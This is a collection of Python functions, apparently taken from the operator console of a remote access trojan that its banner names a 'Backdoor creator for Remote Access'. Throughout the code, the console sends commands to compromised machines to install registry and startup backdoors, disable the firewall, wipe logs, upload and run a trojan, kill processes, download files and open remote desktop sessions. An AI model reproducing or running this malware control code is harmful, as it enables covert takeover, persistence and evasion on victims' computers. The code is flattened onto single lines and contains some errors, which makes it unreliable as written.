def start(self): if self.command.strip() == "shutdown": self.conn.send(Encode(self.command)) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) elif self.command.strip() == "reboot": self.conn.send(Encode(self.command)) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response))
def start(self): if self.args is None or len( self.args) == 0 or self.args[0] in self.helps: self.parser.print_help() else: try: argument = self.parser.parse_args(self.args) if argument.status: self.conn.send(Encode("backdoor<#>status")) elif argument.remove: self.conn.send(Encode("backdoor<#>remove")) elif argument.registry: self.conn.send(Encode("backdoor<#>registry")) elif argument.startup: self.conn.send(Encode("backdoor<#>startup")) response = Decode(self.conn.recv(4096)) if "installed." in response or "enable." in response: self.db.execute("UPDATE targets SET Backdoor=? WHERE id=?", (True, self.client_id)) else: self.db.execute("UPDATE targets SET Backdoor=? WHERE id=?", (False, self.client_id)) self.db.commit() pprint(response) if self.colors else pprint(gray(response)) except: pass
def start(self): if self.args is None or len( self.args) == 0 or self.args[0] in self.helps: self.parser.print_help() else: try: argument = self.parser.parse_args(self.args) if argument.active: self.conn.send(Encode("firewall<#>active")) elif argument.deactive: self.conn.send(Encode("firewall<#>deactive")) elif argument.status: self.conn.send(Encode("firewall<#>status")) response = Decode(self.conn.recv(4096)) pprint("\n%s\n" % response) if self.colors else pprint("\n%s\n" % gray(response)) except Exception as e: print(e)
def kill_process(self, pid): try: pid = pid[1].strip() if pid != "": self.conn.send(Encode("kill " + pid)); sleep(0.1) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) else: pprint( colorize( "No PID specified.\n", colored=self.colors, status="ERR" ), 1) except: pprint( colorize( "Kill error.\n", colored=self.colors, status="ERR" ), 1)
def touch_file(self, args): parser = argparse.ArgumentParser( prog="modules.File", usage="touch -n/--name NAME [-t/--text CONTENT]", description="simple command for create files") parser.add_argument('-n', '--name', required=True, help="file name you want to create") parser.add_argument('-t', '--text', metavar="CONTENT", help="create file with this content") if args is None or len(args) == 0 or args[0] in self.helps: parser.print_help() else: try: argument = parser.parse_args(args) if argument.text: command = "touch<#>name_and_text<#>" + argument.name + "<#>" + argument.text self.conn.send(Encode(command)) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) else: command = "touch<#>name<#>" + argument.name self.conn.send(Encode(command)) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) except: pass
def local_method(self): try: self.conn.send( Encode("runfile<#>" + self.trojan_name + "<#>LOCAL_GET")) trojan_file = open(self.trojan_name, "rb") chunk = trojan_file.read(4096) pprint( colorize("Local method detcted!\n", colored=self.colors, status="INF")) self.process_bar.start_process() self.conn.send(Encode("#IS_FILE")) sleep(0.1) while chunk: self.conn.send(chunk) sleep(0.1) chunk = trojan_file.read(4096) self.conn.send("#UPLOAD_END") trojan_file.close() status = Decode(self.conn.recv(4096)) if status == "#OPENED": pprint( colorize("Running successfull.", colored=self.colors, status="SUC")) elif status == "#NOT_OPENED": pprint( colorize("Runtime error.\n", colored=self.colors, status="ERR")) else: pprint(status) if self.colors else pprint(gray(status)) self.process_bar.Stop = True sleep(0.2) except IOError: self.conn.send(Encode("#NOT_FILE")) if self.process_bar: self.process_bar.Stop = True sleep(0.2) pprint( colorize("No file specified.\n", colored=self.colors, status="ERR"), 1)
def start(self): try: if len(self.args) == 0: pprint( colorize( "usage: wget http://google.com/file.any\n", colored=self.colors, status="INF" )) else: text = colorize( "downloading", colored=self.colors, status="INF" ) process_bar = ParatProcessBar(text) process_bar.start_process() url_address = self.args[0] if url_address.strip() != "": start_download_from_url = "wget<#>" + url_address self.conn.send(Encode(start_download_from_url)) response = str(Decode(self.conn.recv(4096))) process_bar.Stop = True sleep(0.2) pprint(response) if self.colors else pprint(gray(response)) else: pprint( colorize( "No specified url.\n", colored=self.colors, status="ERR" )) except: if process_bar: process_bar.Stop = True; sleep(0.2) pprint( colorize( "Url error.\n", colored=self.colors, status="ERR" ), 1)
def make_directory(self, new_folder): if new_folder is not None and len(new_folder) != 0: new_folder = new_folder[0].strip() self.conn.send(Encode("mkdir<#>" + new_folder)) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) else: pprint( colorize("usage: mkdir \"New Foler\" \n", colored=self.colors, status="INF"))
def change_directory(self, dirc): if dirc is not None and len(dirc) != 0: directory = dirc[0].strip() self.conn.send(Encode("cd<#>" + directory)) response = Decode(self.conn.recv(4096)) + "\n" pprint(response) if self.colors else pprint(gray(response)) else: pprint( colorize("usage: cd \"New Folder\" \n", colored=self.colors, status="INF"))
def show(self): status = self.wash(self.config.get('cmd', 'colors')) self.colors = True if status == "on" else False cpath = self.wash(self.config.get('gen', 'path')) self.path = None if cpath.strip() == "" else cpath.strip() current_settings = GenHelp.genshow(self="") if \ self.colors else gray(GenHelp.genshow(self="")) pprint( current_settings.format(self.current_platform, self.current_arch, self.host, self.port, self.output, self.scriptlet[0], self.path)) pprint("\n")
def start(self): self.conn.send(Encode("rmlog")) text = colorize( "cleaning logs", colored=self.colors, status="INF" ) process_bar = ParatProcessBar(text) process_bar.start_process() result = Decode(self.conn.recv(4096)) process_bar.Stop = True sleep(0.2) pprint(result) if self.colors else pprint(gray(result))
def remove(self, arg): if arg is not None and len(arg) != 0: arg = arg[0].strip() folder_flag = False file_flag = False self.conn.send(Encode("rmv<#>" + arg)) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) else: pprint( colorize("usage: rmv anything\n", colored=self.colors, status="INF"))
def start(self): if self.args is None or len( self.args) == 0 or self.args[0] in self.handlerTxt: self.parser.print_help() else: try: argument = self.parser.parse_args(self.args) final_command = "pzip<#>{}<#>{}".format( argument.file, argument.passwd) self.conn.send(Encode(final_command)) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) except: pass
def help(self): status = self.wash(self.config.get('cmd', 'colors')) self.colors = True if status == "on" else False cpath = self.wash(self.config.get('gen', 'path')) self.path = None if cpath.strip() == "" else cpath.strip() help_banner = GenHelp.genhelp(self="") if \ self.colors else gray(GenHelp.genhelp(self="")) if self.random_output: pprint( help_banner.format(self.current_platform, self.current_arch, self.host, self.port, self.scriptlet[0], self.path)) else: pprint( help_banner.format(self.current_platform, self.current_arch, self.host, self.port, self.output, self.scriptlet[0], self.path))
def remote_method(self): try: pprint( colorize("Remote method detcted!\n", colored=self.colors, status="INF")) self.process_bar.start_process() self.conn.send( Encode("runfile<#>" + self.trojan_name + "<#>REMOTE_GET")) exec_status = Decode(self.conn.recv(4096)) if exec_status == "#OPENED": pprint( colorize("Running successfull.", colored=self.colors, status="SUC")) elif status == "#NOT_OPENED": pprint( colorize("Runtime error.\n", colored=self.colors, status="ERR")) else: pprint(status) if self.colors else pprint(gray(status)) self.process_bar.Stop = True sleep(0.2) except: if self.process_bar: self.process_bar.Stop = True sleep(0.2) pprint( colorize("Running failed.\n", colored=self.colors, status="ERR"), 1)
def start(self): if len(self.program) == 0: pprint( colorize("usage: uninstall 'Adobe Acrobat Reader DC'\n", colored=self.colors, status="INF")) else: text = colorize("tring for uninstall", colored=self.colors, status="INF") process_bar = ParatProcessBar(text) process_bar.start_process() self.conn.send(Encode("uninstall<#>" + self.program[0])) result = Decode(self.conn.recv(4096)) process_bar.Stop = True sleep(0.2) pprint(result) if self.colors else pprint(gray(result))
def listen_method(self, args, used_ports, ListenSync, logger, colored): try: # build listen parser parser = argparse.ArgumentParser( prog="core.ArgumentParser", usage="listen --arg [value]", description="set listenning ports", ) # add new arguments parser.add_argument('-s', '--show', action="store_true", help='show active port(s)') parser.add_argument( '-p', '--port', # choices = range(1, 65535), help='listen on specified port', type=int) # control arguments if args is None or len(args) == 0 or args[0] in self.help_switch: parser.print_help() else: argument = parser.parse_args(args) if argument.show: for t in threading.enumerate(): thread_name = t.getName() # found listenning threads and get port(s) if thread_name[:12] == "ListenThread": listen_port = thread_name.split("_")[1] pprint( colorize("Now listen on %s\n" % listen_port, colored=colored, status="INF")) else: pass if argument.port: user_port = argument.port # check for port is listenning or not if used_ports.has_key(user_port): if used_ports[user_port]: if colored: pprint( colorize( "Listenning on \033[96m%s\033[0m\n" % user_port, colored=colored, status="INF")) else: pprint( gray( colorize("Listenning on %s\n" % user_port, colored=colored, status="INF"))) else: pass else: if colored: pprint( colorize( "Start listen on \033[96m%s\033[0m\n" % user_port, colored=colored, status="INF")) else: pprint( gray( colorize("Listenning on %s\n" % user_port, colored=colored, status="INF"))) # if port not in use used_ports[user_port] = 1 listen_thread = threading.Thread( target=ListenSync.do_listen, args=(self.shell_self, "SOCK_" + str(user_port), user_port)) # do threading works listen_thread.daemon = True listen_thread.setName("ListenThread_" + str(user_port)) listen_thread.start() logger.info("user: ListenThread_" + str(user_port)) except: # Exception as error: pass # pprint(colorize("%s\n" % error, colored=colors, status="ERR"), 1)
def start(self): if self.args is None or len(self.args) == 0 or self.args[0] in self.helps: self.parser.print_help() else: try: argument = self.parser.parse_args(self.args) if argument.active: self.conn.send(Encode("desktop<#>active")) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) elif argument.deactive: self.conn.send(Encode("desktop<#>deactive")) response = Decode(self.conn.recv(4096)) pprint(response) if self.colors else pprint(gray(response)) elif argument.connect: remmina_path = os.path.abspath( os.path.join("..", "..", "template", "parat.remmina") ) old_remmina = open(remmina_path, "r") remote_config = open(".parat.remmina", "w") for line_no, line in enumerate(old_remmina.readlines(), 1): if line_no == 4: name = line.split("=")[1] new_line = line.replace(name, self.client_id + "\n") remote_config.write(new_line) elif line_no == 11: server = line.split("=")[1] new_line = line.replace(server, self.remote_ip + "\n") remote_config.write(new_line) elif line_no == 16: user = line.split("=")[1] new_line = line.replace(user, self.client_user + "\n") remote_config.write(new_line) else: remote_config.write(line) old_remmina.close() remote_config.close() copy(".parat.remmina", remmina_path) os.remove(".parat.remmina") Remote_Desktop = Popen( 'remmina --connect="{}"'.format(remmina_path), shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE ) except: pass
def print_banner(banner=0): config = config_file() status = config.get('cmd', 'colors').lower() Colored = (True if status == 'on' else False) # banner = randint(1,3) b = r""" ,%%%%%%%%%%%%%%%%%, ,,,%%%%%%%%%%%%%%%,,, ,,,,,%%%%%%%%%%%%%,,,,, ,,,,,,,%%%%%%%%%%%,,,,,,, @@@@@@@@@ @@@@ @@@@@@@@@ @@@@ @@@@@@@@@@ ,,,,,,,,,%%%%%%%%%,,,,,,,,, @@@ @@@ @@@@@@ @@@ @@@ @@@@@@ @@ ,,,,,,,,,,,%%%%%%%,,,,,,,,,,, @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@ @@ ,,,,,,,,,,,,,%%%%%,,,,,,,,,,,,, @@@@@@@@@ @@@ @@@ @@@@@@@@@ @@@ @@@ @@ %%%%%,,,,,,,,,,%%%,,,,,,,,,,%%%%% @@@ @@@@@@@@@@ @@@ @@@ @@@@@@@@@@ @@ %%%%%%%%%%%,,,,,,%,,,,,,,%%%%%%%%%% @@@ @@@@@@@@@@ @@@ @@@ @@@@@@@@@@ @@ %%%%%%%%%%%%%%%%,,,,,%%%%%%%%%%%%%%%% @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@ %%%%%%%%%%%%%%%%%%,%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%,,,%%%%%%%%%%%%%%%%% ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %%%%%%%%%%%%%,,,,%,,,,%%%%%%%%%%%%% [..] Backdoor creator for Remote Access [..] %%%%%%%%,,,,,,,%%%,,,,,,,%%%%%%%% [..] Version : {} [..] %%%%,,,,,,,,,%%%%%,,,,,,,,,%%%% [..] Date : {} [..] ,,,,,,,,,,,%%%%%%%,,,,,,,,,,, [..] Created by : Xxxxxxxx Xxxx Xxxxx [..] ,,,,,,,,,%%%%%%%%%,,,,,,,,, [..] Username : micle (micle_fm) [..] ,,,,,,,%%%%%%%%%%%,,,,,,, [..] Website : www.micle.ir [..] ,,,,,%%%%%%%%%%%%%,,,,, ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ,,%%%%%%%%%%%%%%%,, %%%%%%%%%%%%%%%%% """ if banner == 0: # \033[1;31m -> BOLD b = b.replace('%', "\033[31m%\033[0m").replace('@', "\033[36m@\033[0m").replace('~', "\033[32m~\033[0m" ).replace(' [', "\033[32m [\033[0m").replace('.]', ".\033[32m]\033[0m").format(__version__, __date__) for line in b.split('\n'): line += '\n' if Colored: pprint(line) sleep(0.03) else: pprint(gray(line)) sleep(0.03) elif banner == 1: b = b.format(__version__, __date__) clear = '\x1b[0m' colors = [ 31, 32, 33, 34, 35, 36, ] for line in b.split('\n'): if Colored: pprint('\x1b[%dm%s%s\n' % (choice(colors), line, clear)) sleep(0.03) else: pprint(gray(line + '\n')) sleep(0.03)
def dump_programs(self, update=False): try: if not isfile(self.path_to_pfile) or update: self.conn.send(Encode("programs")) program_file = open("null.txt", 'wb') text = colorize( "dumping programs", colored=self.colors, status="INF" ) process_bar = ParatProcessBar(text) process_bar.start_process() program = self.conn.recv(4096) while program: if self.handler in program: program = program.replace(self.handler, "").rstrip() break program_file.write(program) sleep(0.1) program = self.conn.recv(4096).rstrip() program_file.close() system(r"tr < null.txt -d '\000' > programs.txt") sleep(.1) system("rm null.txt") process_bar.Stop = True; sleep(0.2) pprint( colorize( "Programs dumped: %s\n\n" % \ self.programs_file_name, colored=self.colors, status="SUC" )) else: pass except Exception as e: if not process_bar.Stop: process_bar.Stop = True; sleep(0.2) pprint( colorize( e + "\n", colored=self.colors, status="ERR" ), 1) else: displayer = "\n \033[1;34mName" + " "*105 + "Version\033[1;m\n " displayer += "=" * 123 with open(self.path_to_pfile, "r") as progs_file: pcontent = progs_file.read() result = re.findall(r'Name=(.+$)\nVersion=(.+$)', pcontent, re.MULTILINE) self.db.execute("UPDATE targets SET Programs=? WHERE id=?", (str(result), self.client_id)) self.db.commit() pprint(displayer + '\n') if self.colors else pprint(gray(displayer) + '\n') for i, program in enumerate(result, 1): name = re.sub(r'\\x.{2}.?', "", repr(program[0].replace("\r", ""))).replace("'", "") ver = program[1].replace("\r", "") pprint(" {:<110}{}\n".format(str(i) + "-" + name, ver)) pprint("\n") progs_file.close()
def pwd(self): self.conn.send(Encode("pwd")) response = '\n' + Decode(self.conn.recv(4096)) + '\n\n' pprint(response) if self.colors else pprint(gray(response))